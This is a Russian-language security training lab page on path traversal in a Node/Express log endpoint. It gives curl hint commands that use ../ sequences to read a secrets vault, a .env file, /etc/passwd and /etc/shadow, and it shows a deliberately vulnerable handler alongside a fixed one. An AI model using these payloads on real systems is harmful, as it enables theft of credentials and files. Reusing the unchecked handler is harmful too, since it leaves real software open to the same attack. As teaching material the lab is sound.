Rostelecom Security Labs

Path Traversal

Выдаём ученикам доступ к логам, но забываем ограничить путь к файлу. Итог — возможность прочитать что угодно внутри контейнера.

📚 Теория: Path Traversal (раскрыть)

Что происходит?

Приложение подставляет значение file прямо в path.join и не проверяет, остался ли путь внутри директории логов.

⚠️ Достаточно добавить ../, чтобы выйти из каталога и читать любую файловую систему контейнера.

Почему это критично?

Утечка .env, токенов, приватных ключей, системных файлов. В продакшене это ведёт к полной компрометации.

🛡️ Нормализуйте путь и проверяйте, что он остаётся внутри разрешённого префикса.

1. Разведка

Смотрим список логов и убеждаемся, что сервис отдаёт реальные файлы.

2. Escaping

Подставляем ../ и выходим за пределы каталога: читаем vault.txt, .env.

3. Системные файлы

Достаём /etc/passwd и /etc/shadow, демонстрируем критичность.

Как защититься: нормализуйте путь через path.resolve, убедитесь что итоговый путь начинается с каталога логов, запретите прямое чтение произвольных файлов, добавьте allowlist и юнит-тесты на traversal.

Брифинг

Эндпоинт /api/reports принимает параметр file и без проверок подставляет его в path.join. Результат — возможность читать любые файлы внутри контейнера, не только журналы.

Подсказки (curl)

Разведка — список доступных логов
curl https://rtlabs.su/api/reports/list
Шаг 1 — читаем штатный лог
curl -G https://rtlabs.su/api/reports \
  --data-urlencode "file=operations.log"
Шаг 2 — читаем секретное хранилище
curl -G https://rtlabs.su/api/reports \
  --data-urlencode "file=../secrets/vault.txt"
Шаг 3 — читаем системный /etc/passwd
# Классический путь к системному файлу
curl -G https://rtlabs.su/api/reports \
  --data-urlencode "file=../../../../etc/passwd"

💡 Обычно /etc/passwd содержит список пользователей системы. В учебной среде мы имитируем этот файл.

Шаг 4 — критично: /etc/shadow с хэшами паролей
# Доступ к хэшам паролей
curl -G https://rtlabs.su/api/reports \
  --data-urlencode "file=../../../../etc/shadow"

⚠️ В реальной системе /etc/shadow содержит хэши паролей — критичная утечка!

Шаг 5 — утечка .env с credentials
curl -G https://rtlabs.su/api/reports \
  --data-urlencode "file=../secrets/.env"

💡 Учебная среда: В Docker-контейнере настоящие системные файлы могут быть недоступны или пустые. Мы имитируем их содержимое для реалистичного обучения. В production такие утечки ведут к полной компрометации сервера.

Проверка флага

Основной флаг находится в секретном хранилище. Используй path traversal, чтобы подняться выше каталога логов и прочитать файл ../secrets/vault.txt. Отправь найденный флаг сюда.

Как починить

Твоя задача — увидеть разницу между уязвимым и исправленным обработчиком. Сначала разберись, почему исходный код пропускает `../../../../etc/passwd`, а затем перепиши его так, чтобы путь оставался внутри каталога логов.

Что ломается

Обработчик просто склеивает путь к любому файлу, который пришёл в query-параметре. Проверки на выход за пределы каталога нет — поэтому можно читать системные файлы.

app.get('/api/reports', (req, res) => {
  const { file } = req.query;

  if (!file) {
    return res.status(400).json({ error: 'нужен параметр file' });
  }

  const targetPath = path.join(REPORTS_DIR, file);

  try {
    // ❌ путь не проверяется — можно дойти до /etc/passwd
    const content = fs.readFileSync(targetPath, 'utf8');
    return res.json({ file, content });
  } catch (err) {
    if (err.code === 'ENOENT') {
      return res.status(404).json({ error: 'файл не найден' });
    }
    return res.status(500).json({ error: 'ошибка чтения файла' });
  }
});

Как переписать

Используй path.resolve, сверяйся с корнем логов и возвращай ошибку, если путь уехал в сторону. После нормализации можно безопасно читать файл.

app.get('/api/secure/reports', (req, res) => {
  const { file } = req.query;
  if (!file) {
    return res.status(400).json({ error: 'нужен параметр file' });
  }

  const resolvedPath = path.resolve(REPORTS_DIR, file);
  // ✅ путь остаётся внутри каталога логов
  if (!resolvedPath.startsWith(REPORTS_DIR + path.sep)) {
    return res.status(403).json({ error: 'путь вне каталога логов' });
  }

  try {
    const content = fs.readFileSync(resolvedPath, 'utf8');
    return res.json({ file, content });
  } catch (err) {
    if (err.code === 'ENOENT') {
      return res.status(404).json({ error: 'файл не найден' });
    }
    return res.status(500).json({ error: 'ошибка чтения файла' });
  }
});

Проверь себя: подставь `../../../../etc/passwd` и убедись, что исправленный код возвращает 403, а список допустимых логов всё ещё доступен.

Каталог логов

Загружаем список файлов…